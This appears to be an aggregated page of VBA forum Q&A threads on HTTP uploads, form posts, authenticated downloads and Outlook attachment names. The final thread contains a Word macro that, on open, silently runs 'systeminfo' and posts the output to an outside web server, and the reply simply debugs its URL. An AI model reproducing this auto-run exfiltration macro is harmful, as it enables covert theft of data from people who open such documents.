I would like to upload an Excel xlsm file to a php script from VBA. I found the following code:
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim strURL As String
Dim StrFileName As String
Dim FormFields As String
Dim path As String
Dim name As String
StrFileName = "c:\temp\ctc1output.xls"
strURL = "http://www.tri-simulation.com/P3/"
WinHttpReq.Open "POST", strURL, False
' Set the header
WinHttpReq.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
FormFields = """fileulp=" & StrFileName & """"
FormFields = FormFields + "&"
FormFields = FormFields + """sfpath=P3"""
WinHttpReq.Send FormFields
' Display the status code and response headers.
MsgBox WinHttpReq.GetAllResponseHeaders
MsgBox WinHttpReq.ResponseText
Should I handle the file as a binary file or another type of file?
Can I upload the file while it is still open (I want to upload the file from which the VBA is running from)?
I am not sure if I'm on the right track.
I'm also not sure about what the headers and form fields should be.
Thx for any help.
You won't need to base64 encode anything. Follow the sample code you have found but before preparing the file (before '---prepare body comment) just add your other texts (form entries) like this
sPostData = sPostData & "--" & STR_BOUNDARY & vbCrLf & _
"Content-Disposition: form-data; name=""" & Name & """"
sPostData = sPostData & vbCrLf & vbCrLf & _
pvToUtf8(Value) & vbCrLf
... where Name and Value are the designed name and the actual text that you want to include in service request. For the function pvToUtf8 implementation take a look at this Google Cloud Print service connector. The snippet above is taken from pvRestAddParam function of the same connector.
Related
I have VBA script in Outlook 2019, for sending datas to API and store in MYSQL database. But in my case need Outlook atachment convert to binary file and send to API.
VBA Script for sending datas to APi:
Dim SendDataToApi As String
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
URL = "https://url.domain.com/api/dataInsert"
objHTTP.Open "POST", URL, False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
SendDataToApi = "mail_from=" & strFrom & "&mail_to=" & strFrom & "&mobile_phone=123456789&date_send=2020-05-14&date_expiration=2020-05-15"
objHTTP.Send SendDataToApi
VBA script for 7zip all atechment to one file:
For Each objAttachment In objMail.Attachments
objAttachment.SaveAsFile cstrFileAttachment & objAttachment.FileName
Next objAtachment
strSource = cstrFolderAttachment & "*.*"
strDestination = cstrFolderAttachment & "Zip\attachment.zip"
strCommand = """" & PathZipProgram & """ a -tzip """ & strDestination & _
""" -p" """ & strSource & """"
This moment i have all attachments from mail saved in 7zip in local folder. My goal is convert this 7zip file to binary file and send to API together with rest of this code:
SendDataToApi = "mail_from=" & strFrom & "&mail_to=" & strFrom & "&mobile_phone=123456789&date_send=2020-05-14&date_expiration=2020-05-15" is possible to achive this ?
Background/objective: Web Scrape: Problem with the Syntax using the .send
I am attempting to send the last name and first name from a list of names in two columns of cells, I am coming across Syntax Errors as it does not recognize the cell and assumes the range is the "name"
code:
The syntax error begins on the "last" and "first" line under the .send, as I am attempting to send a cell value rather than type in the name. What is the correct formatting when referencing a range of cells?
Option Explicit
Sub Test()
Dim sContent As String
Dim i As Long
Dim j As Long
Dim aHeader() As String
Dim aRows() As String
' Retrieve HTML content via XHR
With CreateObject("MSXML2.XMLHTTP")
.Open "POST", "http://npinumberlookup.org/getResults.php", False
.setRequestHeader "content-type", "application/x-www-form-urlencoded"
.send _
"last=Range(G:1)" & _
"&first=Range(F:1)" & _
"&pracstate=TX" & _
"&npi=" & _
"&submit=Search"
When you want to reference the value of a Range, is exactly as #Qharr said before. I tried doing:
' Retrieve HTML content via XHR
With CreateObject("MSXML2.XMLHTTP")
.Open "POST", "http://npinumberlookup.org/getResults.php", False
.setRequestHeader "content-type", "application/x-www-form-urlencoded"
.send _
"last=" & Range("G1").Value & _
"&first=" & Range("F1").Value & _
"&pracstate=TX" & _
"&npi=" & _
"&submit=Search"
End With
And it worked. No errors when running the code.
I have been using InternetExplorer.application with Excel VBA for quite a while with few issues. One problem I have is downloading a file from website. I can get as far as having the "Open/Save As" buttons appear but that is where I am stuck.
I've tried using URLDownloadToFile and it does not seem to work through the same session as the InternetExplorer.application objects that I have. It usually returns the HTML text for a webpage stating that authentication is required. If I have multiple browsers open and some of the old ones are already authenticated then it will download the file most of the time.
Is there a way to download the file using the InternetExplorer.application object itself? If not, is there some way I can associate the URLDownloadtofile function with the object that is already authenticated and logged into the website?
EDIT:
The code I've been using is:
IE2.navigate ("https://...")
strURL = "https://..."
strPath = "c:\..."
Ret = URLDownloadToFile(0, strURL, strPath, 0, 0)
I've also tried:
Do While IE2.Readystate <> 4
DoEvents
Loop
SendKeys "%S"
IE2.ExecWB OLECMDID_SAVEAS, OLECMDEXECOPT_DODEFAULT
And:
Dim Report As Variant
Report = Application.GetSaveAsFilename("c:\...", "Excel Files (*.xls), *.xls")
No success in any of these, except for the first one which sometimes saves the actual file, but sometimes saves the website that states the authentication error.
Thanks,
Dave
I have managed to solve similar issue with some JavaScript.
The first step is to make JavaScript download the content of the file into a binary array (it doesn't require another authentication once the user is already authenticated).
Then, I needed to pass this binary array back to VBA. I didn't know the other way, so I print the content of this array into a temporary DIV element (with JavaScript) as a string and then read it with VBA and convert it back to binary array.
Finally, I re-created the file from the given binary array by using ADODB.Stream class.
The time required to download a single file grows geometrically with the size of this file. Therefore, this method is not suitable for large files (> 3MB), since it tooks more than 5 minutes then to download a single file.
Below is the code to do that:
'Parameters:
' * ie - reference to the instance of Internet Explorer, where the user is already authenticated.
' * sourceUrl - URL to the file to be downloaded.
' * destinationPath - where the file should be saved.
'Be aware that the extension of the file given in [destinationPath] parameter must be
'consistent with the format of file being downloaded. Otherwise the function below will
'crash on the line: [.SaveToFile destinationPath, 2]
Public Function saveFile(ie As Object, sourceUrl As String, destinationPath As String)
Dim binData() As Byte
Dim stream As Object
'------------------------------------------------------------------------------------
binData = getDataAsBinaryArray(ie, sourceUrl)
Set stream = VBA.CreateObject("ADODB.Stream")
With stream
.Type = 1
.Open
.write binData
.SaveToFile destinationPath, 2
End With
End Function
Private Function getDataAsBinaryArray(Window As Object, Path As String) As Byte()
Const TEMP_DIV_ID As String = "div_binary_transfer"
'---------------------------------------------------------------------------------------------
Dim strArray() As String
Dim resultDiv As Object
Dim binAsString As String
Dim offset As Integer
Dim i As Long
Dim binArray() As Byte
'---------------------------------------------------------------------------------------------
'Execute JavaScript code created automatically by function [createJsScript] in
'the given Internet Explorer window.
Call Window.Document.parentWindow.execScript(createJsScript(TEMP_DIV_ID, Path), "JavaScript")
'Find the DIV with the given id, read its content to variable [binAsString]
'and then convert it to array strArray - it is declared as String()
'in order to make it possible to use function [VBA.Split].
Set resultDiv = Window.Document.GetElementById(TEMP_DIV_ID)
binAsString = VBA.Left(resultDiv.innerhtml, VBA.Len(resultDiv.innerhtml) - 1)
strArray = VBA.Split(binAsString, ";")
'Convert the strings from the [strArray] back to bytes.
offset = LBound(strArray)
ReDim binArray(0 To (UBound(strArray) - LBound(strArray)))
For i = LBound(binArray) To UBound(binArray)
binArray(i) = VBA.CByte(strArray(i + offset))
Next i
getDataAsBinaryArray = binArray
End Function
'Function to generate JavaScript code doing three tasks:
' - downloading the file with given URL into binary array,
' - creating temporary DIV with id equal to [divId] parameter,
' - writing the content of binary array into this DIV.
Private Function createJsScript(divId As String, url As String) As String
createJsScript = "(function saveBinaryData(){" & vbCrLf & _
"//Create div for holding binary array." & vbCrLf & _
"var d = document.createElement('div');" & vbCrLf & _
"d.id = '" & divId & "';" & vbCrLf & _
"d.style.visibility = 'hidden';" & vbCrLf & _
"document.body.appendChild(d);" & vbCrLf & _
"var req = null;" & vbCrLf & _
"try { req = new XMLHttpRequest(); } catch(e) {}" & vbCrLf & _
"if (!req) try { req = new ActiveXObject('Msxml2.XMLHTTP'); } catch(e) {}" & vbCrLf & _
"if (!req) try { req = new ActiveXObject('Microsoft.XMLHTTP'); } catch(e) {}" & vbCrLf & _
"req.open('GET', '" & url & "', false);" & vbCrLf & _
"req.overrideMimeType('text/plain; charset=x-user-defined');" & vbCrLf & _
"req.send(null);" & vbCrLf & _
"var filestream = req.responseText;" & vbCrLf & _
"var binStream = '';" & vbCrLf & _
"var abyte;" & vbCrLf & _
"for (i = 0; i < filestream.length; i++){" & vbCrLf & _
" abyte = filestream.charCodeAt(i) & 0xff;" & vbCrLf & _
" binStream += (abyte + ';');" & vbCrLf & _
"}" & vbCrLf & _
"d.innerHTML = binStream;" & vbCrLf & _
"})();"
End Function
How about something like this?
Public Sub OpenWebXLS()
' *************************************************
' Define Workbook and Worksheet Variables
' *************************************************
Dim wkbMyWorkbook As Workbook
Dim wkbWebWorkbook As Workbook
Dim wksWebWorkSheet As Worksheet
Set wkbMyWorkbook = ActiveWorkbook
' *************************************************
' Open The Web Workbook
' *************************************************
Workbooks.Open ("http://www.sportsbookreviewsonline.com/scoresoddsarchives/nba/nba%20odds%202015-16.xlsx")
' *************************************************
' Set the Web Workbook and Worksheet Variables
' *************************************************
Set wkbWebWorkbook = ActiveWorkbook
Set wksWebWorkSheet = ActiveSheet
' *************************************************
' Copy The Web Worksheet To My Workbook and Rename
' *************************************************
wksWebWorkSheet.Copy After:=wkbMyWorkbook.Sheets(Sheets.Count)
wkbMyWorkbook.Sheets(ActiveSheet.Name).Name = "MyNewWebSheet"
' *************************************************
' Close the Web Workbook
' *************************************************
wkbMyWorkbook.Activate
wkbWebWorkbook.Close
End Sub
Saving a file attachment in an Outlook mail item with the VBA method Attachment.SaveAsFile() call produces the expected result (file saved with same filename on the filesystem), even for file names with non-ASCII characters.
However, VBA apparently stores the file name in a 16-bit composite format String where accented letters are stored as a (letter, accent) pair. I can't find a way to output the string inside the message body with accented letters showing up as one glyph ("é") instead of two ("e´").
Concretely, the attachment is properly saved under the correct file name on disk when using the following code:
' Save the Outlook attachment
oAttachment.SaveAsFile (sTempFileLocation)
This results in a file being written to the folder specified in sTempFileLocation and the file name complies with the way it appears in the Outlook message (accents, non-ASCII characters etc).
However, when retrieving and manipulating the file name, it appears that a 16-bit composite internal representation of special characters is used. This means that the file name "à présent.txt" is displayed as "a` pre´sent.txt" (accented characters are represented with the character + the accent in 2 consecutive bytes).
For instance:
sAttachmentName = fso.getfilename(sTempFileLocation)
Debug.Print ("Attachment name = [" & sAttachmentName & "]")
will result in:
Attachment name = [a` pre´sent.txt]
There is little information available on this matter, all I found so far was this MSDN link describing the MultiByteToWideChar() function. From there it appears that the 16-bit internal VBA rendering happens implcitly and is even computer dependent (depending on code page and locale in use).
Here follows a self-contained minimalistic example that tries to save the email attachments of the first selected message to your My Documents folder unless it already exists:
Sub SaveMessageAttachments()
Dim objApp As Outlook.Application
Dim oSelection As Outlook.Selection
Dim aMail As Outlook.MailItem
Dim fso As Object
On Error Resume Next
' Instantiate an Outlook Application object.
Set objApp = CreateObject("Outlook.Application")
' Get the collection of selected objects.
Set oSelection = objApp.ActiveExplorer.Selection
If oSelection Is Nothing Then
Exit Sub
End If
' Select the 1st mail item in the current selection
Set aMail = oSelection.item(1)
Dim sAttachmentFolder As String
' Get the path to your "My Documents" folder
sAttachmentFolder = CreateObject("WScript.Shell").SpecialFolders(16)
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oAttachments As Outlook.Attachments
Dim lItemAttachmentCount As Long
Set oAttachments = aMail.Attachments
lItemAttachmentCount = oAttachments.Count
If (lItemAttachmentCount > 0) Then
Dim lAttachmentIndex As Long
For lAttachmentIndex = 1 To lItemAttachmentCount
Dim oAttachment As Outlook.attachment
Set oAttachment = oAttachments.item(lAttachmentIndex)
Dim sFileName As String
sFileName = oAttachment.FileName
If LenB(sFileName) > 0 Then
Dim sFilePath As String
sFilePath = sAttachmentFolder & "\" & sFileName
If fso.fileexists(sFilePath) Then
MsgBox "Cannot save attachment " & lAttachmentIndex & vbCr _
& "File already exists: " & vbCr _
& sFilePath, vbExclamation + vbOKOnly
Else
If MsgBox("Saving atachment " & lAttachmentIndex & "?" & vbCr _
& "Save location: " & vbCr & sFilePath, _
vbQuestion + vbOKCancel) = vbOK Then
' Save the attachment to the temporary folder
oAttachment.SaveAsFile (sFilePath)
Dim sAttachmentName As String
sAttachmentName = fso.getfilename(sFilePath)
Dim lAttachmentLength As Long
lAttachmentLength = fso.getfile(sFilePath).size
Dim sURL As String
sURL = "file://" & Replace(sFilePath, "\", "/")
MsgBox "Attachment " & lAttachmentIndex _
& " saved as: " & sAttachmentName & vbCr _
& "Size: " & lAttachmentLength & vbCr _
& "URL = " & sURL, _
vbInformation + vbOKOnly
End If
End If
End If
Next lAttachmentIndex
End If
End Sub
As you will see, the SaveMessageAttachments() subroutine correctly saves the file to the filesystem, with the proper file name. However, Outlook dialogs (as well as when trying to write the attachment file name or URL to the message body in VBA) will always render the file names having accents differently. Please give it a try with an Outlook message having an attachment named e.g. "à présent.txt").
What is strange, however, is that if I try to paste sURL in the message body, although the URL is incorrectly written (2 character decomposition of accented letters) Outlook seems to find and open the file.
How can I transform this accented string (sAttachmentName) with VBA in order to correctly paste it ("à présent.txt" instead of "a` pre´sent.txt") into the message body?
i'm coding a makro in MS Word to execute a command in cmd and send it to the remote server via POST. I have no expirience in VB so the error could be easy to solve, but i have no idea what i'm doing wrong
Sub Run_Cmd(command, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "%COMSPEC% /c " & command, visibility, wait_on_execute
End Sub
Sub Run_Program(program, arguments, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run program & " " & arguments & " ", visibility, wait_on_execute
End Sub
Const INVISIBLE = 0
Const WAIT = True
Private Sub pvPostFile(sUrl As String, sFileName As String, sPath As String, Optional ByVal bAsync As Boolean)
Const STR_BOUNDARY As String = "3fbd04f5-b1ed-4060-99b9-fca7ff59c113"
Dim nFile As Integer
Dim baBuffer() As Byte
Dim sPostData As String
'--- read file
nFile = FreeFile
Open sPath For Binary Access Read As nFile
If LOF(nFile) > 0 Then
ReDim baBuffer(0 To LOF(nFile) - 1) As Byte
Get nFile, , baBuffer
sPostData = StrConv(baBuffer, vbUnicode)
MsgBox sPostData
End If
Close nFile
'--- prepare body
sPostData = "--" & STR_BOUNDARY & vbCrLf & _
"Content-Disposition: form-data; name=""uploadfile""; filename=""" & Mid$(sFileName, InStrRev(sFileName, "\") + 1) & """" & vbCrLf & _
"Content-Type: application/octet-stream" & vbCrLf & vbCrLf & _
sPostData & vbCrLf & _
"--" & STR_BOUNDARY & "--"
'--- post
With CreateObject("Microsoft.XMLHTTP")
.Open "POST", sUrl, bAsync
.SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & STR_BOUNDARY
.Send pvToByteArray(sPostData)
End With
End Sub
Private Function pvToByteArray(sText As String) As Byte()
pvToByteArray = StrConv(sText, vbFromUnicode)
End Function
Sub Workbook_Open()
Run_Cmd "systeminfo > %USERPROFILE%\temp.txt", INVISIBLE, WAIT
Dim envstring As String
envstring = Environ$("USERPROFILE")
envstring = envstring & "\temp.txt"
pvPostFile "http://testujemywordpressa.pl/index.php", "temp.txt", envstring
End Sub
debugger says that "The system can not locate the specified resource"
The reason you are receiving that error message is because the server you are trying to reach doesn't exist. Check the URL that you are passing to pvPostFile(). I have received this error many times because of bad URLs in the past few months. Let me know if this works out for you.